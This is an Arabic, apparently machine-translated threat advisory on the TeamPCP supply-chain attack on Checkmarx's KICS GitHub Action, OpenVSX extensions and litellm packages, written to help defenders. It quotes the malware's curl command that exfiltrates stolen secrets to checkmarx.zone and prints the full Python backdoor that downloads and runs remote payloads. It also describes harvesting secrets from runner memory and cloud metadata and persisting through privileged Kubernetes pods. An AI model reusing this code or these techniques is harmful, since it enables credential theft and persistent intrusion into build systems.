تعرض عمل KICS GitHub للخطر: هجوم سلسلة التوريد TeamPCP

تم اختراق KICS GitHub Action باستخدام برامج ضارة لسرقة بيانات الاعتماد بواسطة TeamPCP، وهي نفس المجموعة التي تقف وراء هجوم Trivy. KICS عبارة عن بنية تحتية مفتوحة المصدر تعمل كأداة فحص أمان التعليمات البرمجية بواسطة Checkmarx. بين الساعة 12:58 والساعة 16:50 بالتوقيت العالمي المنسق يوم 23 مارس، فإن أي من مستخدمي GitHub Action الذين كانوا يقومون بتثبيت إحدى العلامات المخترقة قد تعرضوا للبرامج الضارة. تمت إزالة المستودع في الساعة 16:50 بالتوقيت العالمي، بعد فترة وجيزة من تقديم مستخدم لمشكلة GitHub لإبلاغ المشرفين بالحادث.

كان الإجراء متاحًا على https://github.com/Checkmarx/kics-github-action قبل الإزالة.

تحديث 24/03:

11:30 بالتوقيت العالمي: تعرضت حزم “litllm” (الإصداران 1.82.7 و1.82.8) الموجودة على PyPI لفيروس طروادة. وهي تحتوي على نفس وظيفة العملية السابقة، ولكن باستخدام مجال ترشيح جديد:models.litellm[.]سحاب. تم نشر التحديث الضار في حوالي الساعة 8:30 بالتوقيت العالمي وتم عزله بواسطة PyPI في الساعة 11:25 بالتوقيت العالمي. يمكن لعملاء Wiz الاطلاع على النصائح الاستشارية في مركز التهديدات.

التحديثات 23/03:
19:24 بالتوقيت العالمي: تمت استعادة المستودع، ويقول المشرفون “تم حل المشكلة الآن.”

22:25 بالتوقيت العالمي: أفاد Sysdig أن ast-github-action تأثر أيضًا. لقد اقتصروا على مراقبة علامة خبيثة واحدة 2.3.28 – ولكن بناءً على تكتيكات TeamPCP، نعتقد أنه من المحتمل أن تكون جميع العلامات قد تأثرت.

22:35 بالتوقيت العالمي: بناءً على نصيحة من الباحث المستقل عدنان خان، أكد Wiz أن امتدادات Checkmarx OpenVSX cx-dev-assist 1.7.0 و نتائج تم اختراق 2.53.0. تم الإبلاغ عن هذا بشكل متزامن بواسطة ReversingLabs عبر تغريدة. يرى “حمولة OpenVSX” القسم أدناه للحصول على التفاصيل. لقد أبلغنا OpenVSX بهذه الأمور لإزالتها.

تحديث 24/03 الساعة 9:00 بالتوقيت العالمي: نشرت Checkmarx تحديثًا أمنيًا يتناول المشكلات المتعلقة بإجراء KICS GitHub والمكونات الإضافية OpenVSX. يذكرون وقت القرار 15:41 بالتوقيت العالمي لـ OpenVSXومع ذلك، لاحظنا أن الإصدارات الضارة كانت موجودة في وقت إعداد تقريرنا. بالإضافة إلى ذلك، في حين تم دفع الإصدارات الجديدة، لم تتم إزالة الإصدارات الضارة بعد.

هذا هو ثاني برنامج فحص أمني مفتوح المصدر مشهور قامت هذه المجموعة باختراقه في الأيام الخمسة الماضية. تستخدم العملية اصطلاحات تسمية مألوفة ونفس مفتاح RSA العام، مما يسمح لـ Wiz بالتقييم بثقة عالية أنه نفس الممثل.

حمولة العمل KICS Github

تم إدخال الكود الخبيث بنفس الطريقة التي تم بها حادثة Trivy:

1. ارتكب المهاجم عمليات الدجال (التي ارتكبت على تفرع من المستودع) التي تحتوي على حمولته: setup.sh وقمت بتعديل الملف action.yaml لتشغيل حدث “Prepare Environment” الذي من شأنه تشغيل setup.sh.

1. استخدم المهاجم بعد ذلك ما يبدو أنه هوية مخترقة لتحديث جميع العلامات الـ 35 في المشروع مباشرةً وتوجيهها إلى تلك الالتزامات المرحلية (قائمة العلامات أدناه)

يعمل setup.sh بشكل مشابه لإجراءات السرقة السرية المستخدمة في عملية Trivy، حيث يقوم بجمع الأسرار ثم تشفيرها وإخراجها. ويحاول مرة أخرى إرسالها إلى خادم يتحكم فيه المهاجم، مع إنشاء مستودع github كنسخة احتياطية، ولكنه يستخدم مجال ترشيح جديد، checkmarx.zone (83.142.209.11) وexscription repo docs-tpcp. كما هو الحال مع عملية Trivy، يمكن لهذه البرامج الضارة إسقاط نص برمجي من نوع python يهدف إلى تنزيل وتثبيت حمولة متابعة. ومع ذلك، يضيف هذا التنفيذ آلية استمرارية جديدة تركز على Kubernetes.

بينما kics-github-action لديه ~1% من الاستخدام العام المرئي لـ trivy-action، لا يزال يتم اعتماده على نطاق واسع بشكل عام وخاص باعتباره بنية أساسية كأداة فحص أمان التعليمات البرمجية.

تسوية جيثب

ويبدو أن الهجوم قد تم عن طريق تسوية cx-plugins-releases (GitHub ID 225848595) حساب الخدمة، حيث أن هذه هي الهوية المشاركة في نشر العلامات الضارة.

وظيفة البرنامج النصي

التهيئة وسرقة البيانات والتصفية

يبدأ البرنامج النصي بمجموعة العلامات -euo Pipefail لضمان فشله بصمت، ثم يبحث عن GitHub Actions والمتسابقين العامين وينشئ ملفًا مرحليًا في /tmp. ثم يبدأ البحث عن بيانات الاعتماد الخاص به والذي يجري عمليات البحث التالية:

• يجمع المتغيرات البيئية ومفاتيح SSH الخاصة/العامة ويبحث عن أي ملفات تحتوي على هذه القيم.

• إذا اكتشف أنه يعمل على مشغل مستضاف على GitHub، فإنه ينفذ برنامج نصي بيثون للوصول إلى /proc/[PID]/mem لتفريغ ذاكرة Runner.Worker ونحت كائنات JSON التي تم وضع علامة عليها باعتبارها أسرار عبر التعبيرات العادية

• يستعلم برنامج python النصي الثاني عن نقاط نهاية البيانات الوصفية لمثيل AWS (IMDSv1/v2)، ويزحف إلى الدلائل الشائعة (/home، /root، وما إلى ذلك) ويستعلم عن Kubernetes API في حالة العثور على الرموز المميزة لحساب الخدمة المحلية.

يتم تجميع أي أسرار محددة في ملف نص عادي مُجمَّع، ثم يتم تشفيرها باستخدام AES-256-CBC ومفتاح جلسة عشوائي (openssl rand 32 > “$_SESSION_KEY”). يتم بعد ذلك تشفير مفتاح الجلسة باستخدام مفتاح RSA العام المشفر للمهاجم. وهذا هو نفس المفتاح العام المستخدم في العملية السابقة. ثم يتم ضغط كلا الملفين في tpcp.tar.gz.

يحاول البرنامج النصي إخراجهم عبر الضفيرة. يتم التقاط رمز حالة HTTP للتحقق من النجاح:

_HTTP=$(curl -s -o /dev/null -w "%http_code" -X POST https://checkmarx.zone -H "Content-Type: application/octet-stream" -H "X-Filename: tpcp.tar.gz" --data-binary "@$_BUNDLE" 2>/dev/null || echo "000")

إذا لم ينجح الأمر وكانت البيئة المخترقة تحتوي على GITHUB_TOKEN، فسيتم مصادقة البرنامج النصي على GitHub API. يقوم برمجيًا بإنشاء مستودع جديد (/docs-tpcp/) داخل حساب GitHub الخاص بالضحية، وإنشاء “إصدار” للبرنامج، وتحميل كرة القطران المشفرة المسروقة كأصل إصدار. استخدمت الحملة السابقة /tpcp-docs

استمرارية Kubernetes الجديدة

يحاول setup.sh إنشاء القدرة على إجراء عملية متابعة عبر نفس البرنامج النصي sysmon.py كما في عملية Trivy؛ ولكن هذه المرة تم استدعاء طريقة جديدة تعتمد على Kubernetes، في محاولة للنجاة من حذف حاوية CI الأولية. إذا تم تشغيل البرنامج النصي على حاوية Kubernetes التي تتمتع بأذونات كافية، فسوف يحاول نشر حاوية ذات امتيازات عالية وتشغيل sysmon.py داخلها. إذا تم تشغيله على مضيف Linux قياسي، فإنه ينشئ أدلة مخفية في المجلد الرئيسي للمستخدمين ~/.config/sysmon ويكتب الباب الخلفي للبايثون هناك. الباب الخلفي هو نفسه كما في الإصدار السابق، باستثناء أنه يقرأ من https://checkmarx.zone/raw، بدلاً من عنوان ico المستخدم في عملية Trivy.

import urllib.request
import os
import subprocess
import time

C_URL = "https://checkmarx[.]zone/raw"
TARGET = "/tmp/pglog"
STATE = "/tmp/.pg_state"

def g():
    try:
        req = urllib.request.Request(C_URL, headers='User-Agent': 'Mozilla/5.0')
        with urllib.request.urlopen(req, timeout=10) as r:
            link = r.read().decode('utf-8').strip()
            return link if link.startswith("http") else None
    except:
        return None

def e(l):
    try:
        urllib.request.urlretrieve(l, TARGET)
        os.chmod(TARGET, 0o755)
        subprocess.Popen([TARGET], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, start_new_session=True)
        with open(STATE, "w") as f: 
            f.write(l)
    except:
        pass

if __name__ == "__main__":
    time.sleep(300)
    while True:
        l = g()
        prev = ""
        if os.path.exists(STATE):
            try:
                with open(STATE, "r") as f: 
                    prev = f.read().strip()
            except: 
                pass
        
        if l and l != prev and "youtube.com" not in l:
            e(l)
            
        time.sleep(3000)

إنشاء الكبسولة المميزة وتثبيت البرامج الضارة

يتحقق البرنامج النصي لمعرفة ما إذا كان الملف: /var/run/secrets/kubernetes.io/serviceaccount/token موجودًا، وإذا كان موجودًا، فإنه يستخدم هذا الرمز المميز للاستعلام عن /api/v1/nodes لجمع قائمة بكل خادم فعلي أو افتراضي أساسي في المجموعة واستخراج اسم_العقدة.

لكل عقدة، يقوم البرنامج النصي بإنشاء بيان pod وبرنامج نصي للحمولة. يستخدم البرنامج النصي بيان pod لإنشاء اسم ديناميكي ويضع جرابًا عالي الامتيازات في “مساحة الاسم”: “نظام kube”. تم تكوين الكبسولة لتشغيل البرنامج النصي للحمولة النافعة المخصص الذي تم إنشاؤه مسبقًا ثم الخروج. في كل عقدة محددة، يقوم البرنامج النصي للحمولة بتثبيت الباب الخلفي sysmon.py إلى /root/.config/sysmon/sysmon.py ويقوم بإنشاء ملف وحدة systemd على /root/.config/systemd/user/sysmon.service لضمان تشغيل البرنامج النصي python.

حمولة OpenVSX

كلا الامتدادات المعرضة للخطر (ast-results v2.53.0 و cx-dev-assist v1.7.0) تحتوي على حمولات متطابقة. تم نشرهما بفارق 12 ثانية في الساعة 12:53 بالتوقيت العالمي المنسق في 23 مارس 2026، عبر ast-phoenix حساب على فتح VSX. تظهر إصدارات VS Code Marketplace غير متأثرة.

تدفق تنفيذ الحمولة

1. عند تفعيل الامتداد الجديد الخبيث environmentAuthChecker.js يتم استدعاؤه من activateCore.js

2. تتحقق هذه الحمولة أولاً مما إذا كان لدى الضحية بيانات اعتماد لموفر سحابي واحد على الأقل

إذا تم اكتشاف أي بيانات اعتماد، فسيتم استرداد حمولة المرحلة الثانية من C2: checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz

1. تحاول الحمولة التنفيذ عبر npx أو Bunx أو pnpx أو الغزل dlx. يغطي هذا مديري حزم JavaScript الرئيسيين. تحتوي الحزمة المستردة على أداة شاملة لسرقة بيانات الاعتماد.

2. يتم بعد ذلك تشفير بيانات الاعتماد المحصودة، باستخدام المفاتيح كما هو الحال في أي مكان آخر في هذه الحملة، ويتم إرسالها إلى checkmarx[.]zone/vsx مثل tpcp.tar.gz.

على الأنظمة التي لا تعتمد على CI، تقوم البرامج الضارة بتثبيت الثبات عبر خدمة مستخدم systemd. استطلاعات النص الثبات https://checkmarx[.]zone/raw كل 50 دقيقة للحمولات الإضافية، مع مفتاح إيقاف يتم إيقافه إذا كان الرد يحتوي على “youtube”. حاليًا، يقوم الرابط بإعادة التوجيه إلى The Show Must Go On بواسطة Queen.

التحف المسروقة

ملحقات OpenVSX

إصدارات kics-github-action

كان الإصدار v1.1 هو الإصدار الضار الوحيد الذي تم إنشاؤه. الإصدارات الأخرى، التي يتم تشغيلها تلقائيًا بواسطة أحداث العلامة، فشلت لأن هذه الإصدارات موجودة بالفعل.

العلامات kics-github-action

ما هي الإجراءات التي يجب على فرق الأمن اتخاذها؟

1. تدقيق مراجع إجراءات KICS GitHub: مراجعة سير العمل باستخدام kics-github-action. إذا قمت بالإشارة إلى علامة إصدار بدلاً من SHA، فتحقق من سجلات تشغيل سير العمل من نافذة العرض بحثًا عن علامات التسوية.

2. البحث عن التحف التسرب: ابحث عن المستودعات المسماة docs-tpcp في مؤسسة GitHub الخاصة بك، مما قد يشير إلى عملية التصفية الناجحة عبر الآلية الاحتياطية.

تصلب على المدى الطويل: ارجع إلى كيفية تقوية إجراءات GitHub الخاصة بـ Wiz: الدليل غير الرسمي

كيف يمكن أن يساعد ويز؟

يجب على عملاء Wiz الاستمرار في مراقبة النصائح في مركز Wiz للتهديدات للحصول على إرشادات مستمرة واستعلامات معدة مسبقًا ومراجع للاكتشافات ذات الصلة التي يمكنهم استخدامها لتقييم المخاطر في بيئتهم.

هل تشعر بالقلق من تأثرك؟ تواصل مع فريق الاستجابة لحوادث Wiz.

شاهد الندوة عبر الويب